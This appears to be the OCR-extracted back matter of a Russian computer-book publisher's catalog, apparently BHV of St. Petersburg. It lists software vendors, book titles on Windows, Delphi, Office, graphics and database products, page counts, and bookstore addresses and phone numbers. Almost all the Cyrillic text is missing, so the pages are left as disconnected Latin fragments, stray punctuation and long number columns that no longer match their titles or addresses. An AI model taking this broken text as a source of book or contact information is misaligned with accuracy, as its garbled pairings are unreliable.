
Borland

COMPAQ.

;i (Microsoft, CA/Piatinum, Rational, SilverRun,


Quest).
(Centura, Merant, Microsoft).
(PlanisWare, PlanView, Microsoft).
( Allaire, Borland, IBM, Microsoft, Allround Automation. ComponentOne, Crystal Decisions, Janus,
Sitraka, Stingray).
S: (Compaq, Fuji, Intel, MainSoft, Sun, Sybase, Tenberry).
(NuMega, Intuitive Systems, Segue).
i (InstallShield, Wise Solutions).
I (Remedy, RoyalBlue, CA, Network
Associates).
Is (Adobe, Allen Communications, dick2learn.com,
eHelp, Macromedia, Quest, Ulead).

sitraka *"*

SoftLine

<allaire>

SoftLine, . , (
),
RAD . ,
Microsoft Developer Network, Sun Developer Essentials - SoftLine Support Subscription, - .
SoftLine .

NuMEGA

InstallShield.
S O F I W A B t 10

Component^

i SYBASE

"-"
:
" "
. . Windows 2000
. . Microsoft Windows 2000 Server.
. . Microsoft Windows 2000 Professional.
. . Microsoft Windows 2000 Server Professional.
. Adobe Illustrator 7.0
., . Word 2000
. HTML 3.2 ( -)
. Java ( -)
., A. Delphi 5
. MS Excel 2000
. .
., . PC. 4-
. . HTML 4.0
. MS SQL Server 2000
., . Microsoft Access 2000
., A. Microsoft Office 2000
. : -
. 1
. Windows 98
., . Java 2
' ., . Microsoft Internet Explorer 4
. :
. 2
., . XML
. Macromedia FreeHand 9
. Macromedia FreeHand 7
. Adobe Illustrator 9.0
. Adobe Illustrator 8.0
. CorelDRAW 9
. Adobe Photoshop 6.0
. WAP:
. PC ( )
. ., A. A. CorelDRAW 10:
. ., A. A. CorelDRAW 9:
A. Adobe InDesign
. ., A. A. PageMaker 6.5
. Microsoft SQL Server 7.0
. . Active Server Pages

592 .
960 .
752 .
1056 .
704 .
992 .
1040 .
1104 .
800 .
1088 .
1008 .
1024 .
672 .
1280 .
1088 .
728 .
848 .
592 .
1072.
720 .
528 .
736.
432 .
320 .
608 .
576 .
560 .
512 .
432 .
1248 .
1136 .
1136 .
704 .
832 .
720 .
672 .

. CorelDRAW ( -)
CD-ROM " "
Access 2000, Excel 2000, Word 2000, Office 2000

704 .

""
. Dynamic HTML ( -)
.
. -: , ,
. Windows
. .
. Windows 98 ( )
. Internet 2000
. Novell GroupWise 5.5:

A. Visual Basic 6.0: ( )
A. Excel, VBA, Internet
A. Microsoft Excel 2000:
. Windows ( )
., . Delphi
. . Delphi 5 ( )
. JavaScript Web-
. . MS Excel
. Excel 97/2000 ( )
. -
. .
. Borland .C++ 5
. Windows Me
. Windows 2000
. DirectX. Delphi ( -)
. Open GL Delphi ( )
. 3D Studio Max 3.0: ( -)
. 3ds max 4:
. MS Office Project
. . Motorola
. . , ,
.
A. Maple 6.
., . Visual C++ MFC, 2- ( )
. Web- MS Office 2000
., .
., . Microsoft Access 2000:
. Windows
. . Microsoft Office 2000:
. Access 97(c -)
., . IP-

496
384
256
304
320
496
448
480

.
.
.
.
.
.
.
.

448 .
816 .
576 .
384 .
656 .
784 .
880 .
304 .
416
480 .
320 .
876 .
448 .
352 .
416 .
352 .
480 .
448 .
400 .
560 .
320 .
624 .
528 .
1040 .
320 .
560 .
832 .
816 .
656 .
656 .
500 .

. Visual LISP AutoCAD


. ActiveX Delphi
. InDesign:
. 3D Studio MAX 3.0 ( -)
.
., . PC: , ,
2-
. Photoshop Plug-Ins
. MS SQL Server 2000:
. Visual C++
( )
. ATL 3.0 ( )
. , , Web Linux
A. Windows 2000 Active Directory
. Java ( -)
. -
. Web-. XML
. Web-
. C++
. 22-
., . .
( -)
Microsoft Windows NT Server 4.0
BackOffice: Exchange Server SMS ( -)
BackOffice: SQL Server SNA Server ( -)
Microsoft Windows NT Server 4.0
intranet. Microsoft ( -)
Visual Basic 6.0

576 .
320 .
544 .
352 .
512 .
336 .
464 .
368 .
256 .
928 .
416 .
400 .
400 .
224 .
304 .
224 .
416.
368 .
450 .
752 .
1008 .
768 .
880 .
672 .
992 .

" BHV"
. Microsoft Excel VBA
. Microsoft Word ( )
.

A. Adobe Photoshop 5.0 ( )

336 .
256 .
256 .
448 .

""
Gala2000Group. 3D Studio Max 3.0 ( -)
., . Visual Basic 6.0
., . Microsoft Access 2000
.
. VBA
. Excel 2000 ( )
. Macromedia Flash 5
. Macromedia Dreamweaver 3

272 .
624 .
480 .
448 .
512 .
368 .
368 .
432 .

. MathCAD 2001
. 4
. Object Pascal Delphi 5 ( )
. . Turbo Pascal 7.0 Delphi,
2- ( )
. UML
., . Perl
., . Windows Millennium
., . FrontPage 2000
. Visual FoxPro 6.0
., . Windows 2000 Professional
. 3D Studio MAX 4.0
. Visual C++ 6 ( )
. #
. WML WMLScript
. AutoCAD 2000 Visual LISP
. ., . . Adobe Photoshop 6 ( )
. ., . . CorelDRAW 10
. MFC ( )
. Microsoft Outlook 2000
. Java
. Microsoft Word 2000
. .
. C++, 3- ( )
" "
. PC
. Web-
.
., . .
., . PC. Cakewalk. ""
., . PC
., . PC
., . PC
., . PC. Cakewalk Pro Audio 9
.
. PC

544 .
576 .
464 .
416.
304 .
432 .
464 .
512 .
512 .
528 .
304 .
960 .
576 .
240 .
672 .
608 .
640 .
640 .
336 .
464 .
560 .
272 .
688 .
352 .
288 .
320 .
608 .
272 .
272 .
256 .
240 .
512 .
230 .
400 .


CD-ROM " Windows 98"
.
. :
., . MS Access 2000 30
.
.

272
288
512
400
320

.
.
.
.
.

., .
, 2- .
. 600
., .

. C/C++
. Turbo Pascal
. MS SQL Server 7.0:
. SQL Server 7.0
. Linux: ( -)
., . PC: ,
.
. : , ,
. .
Motorola
. Microsoft Outlook 97
.
.
.
.

512 .
624 .
256 .
288
256
416
496
144
256
224
288
512

.
.
.
.
.
.
.
.
.

432
528
256
384
592

.
.
.
.
.

" "
.
.
. .

224 .
288 .
238 .

"-"
:

1.""
2. " "
3. " "
4. ""
5. ""
6. ""
/." "
8.""
9. ""

. , 6
. , 8
., 40
. . , 46
., 29
., 78
. , 28
., 9
. , 8

(095) 928 8744


(095) 203 8242
(095) 1376019
(095)2809106
(095) 958 0265
(095) 1528282
(095) 238 0032
(095) 954 3044
(095) 229 7355

-
1.
"-"
2. ""
3. " "
4. ""
5. " "
6. " "
7. ""
8. " "
9. "- "
10. "- "
11. 1
12.
13.
14.
15.
16.
17.
18.
19.

""
" "
""
""
""
""
" "
""

20. " "
21. ""

. , 4, 26

(812)541 8551

. , 15
.., ., 41
. , 19
., 20
., 28
., 21
. ., ., 34
., 15
., 41
.., .
( )
.., ., 61
., 57
. , 16
., 65, . 13
., 127
., 33
. , 2
., 6

(812) 1090391
(812)3500324
(812)5885707
(812)3124936
(812)3120184
(812) 1649366
(812) 2309966
(812)3272060
(812)3270400
(812)3289691

. , 40
., 189

(812)3153117
(812)4434534

(812)321 4315
(812)2735053
(812) 4462209
(812) 2457039
(812)2542104
(812)5400852
(812) 1646565


1.
2.
3.

" "
" "
""

. , 105
. , 61
. , 11

(8582) 46 3028
(3852) 44 2446
(0832) 74 1326

4.
5.
6.
7.
8.
9.
10.
11.
12.

""
""
" "
""
""
" "
" 14"
""
" "

, 9
. , 33
. , 38
. , 14
. , 4/9
. . , 1 1
. , 23
. , 242
. , 75

13.
14.
15.
16.
17.
18.

19.

20.
21.
22.
23.
24.
25.
26.
27. --
28. --
29.
30.
31.
32.
33.

""
""
""
""
""
" "

. , 4
. , 1 1
. , 28
. , 25
. , 14
. , 14

(0722) 22 4322
(0732) 55 4507
(8172)721743
(8172)724238
(271) 11259
(3432) 59 4200
(3432) 53 2490
(3412) 225764
(3952) 24 5526
24 9620
(0112) 434522
(0842) 57 6060
(3912) 276250
(85515) 22961
(8152)455568
(8312) 442273

""

. , 3

(8312)426589

""
""
""
" 12"
""
""
""
" 26"
" 4"
" "
""
""
""
" "

. . .-, 13
. , 36/14
. , 16
. , 89
. , 42
. , 24
. , 1
. , 123/67
. . , 41
. , 12
. , 56
. , 155
. , 62
. , 18

(81622)73021
(08762)61265
(3832) 69 3650
(3812) 400400
(3422)481564
(8142)773601
(8112) 165001
(8632) 66 6237
(8632) 66 8040
(8652) 27 0956
(0822) 33 0568
(3452) 22 7226
(3472) 22 5662
(0852) 30 4751

-
:
199397, -, / 194
. (812) 541-85-51, (812) 541-84-61
e-mail: trade@bhv.spb.su, root@bhv.spb.su
Internet: http://www.bhv.ru
, , , .
, .

TVw.bAv.ro

: , 199397, -, / 194; Web-: www.bhv.ru


I I 1 I

I I I I I I I I I I I I I I I I I

I I I

!
"-"
.
, ,
, ,


"-"
,
,
.


:
.: (812) 251 4244, 251 6501

e-mail: kat@bhv.ru
: (812) 2511295

Web-
.

Web- Apache Windows.

, Web-.

ateway Interface)

(Common

eb-


-
: 199397, -, / 194
. (812) 541-8551, (812) 541-8461
E-mail: trade@bhv.spb.su, Internet: www.bhv.ru


Web-

Вам также может понравиться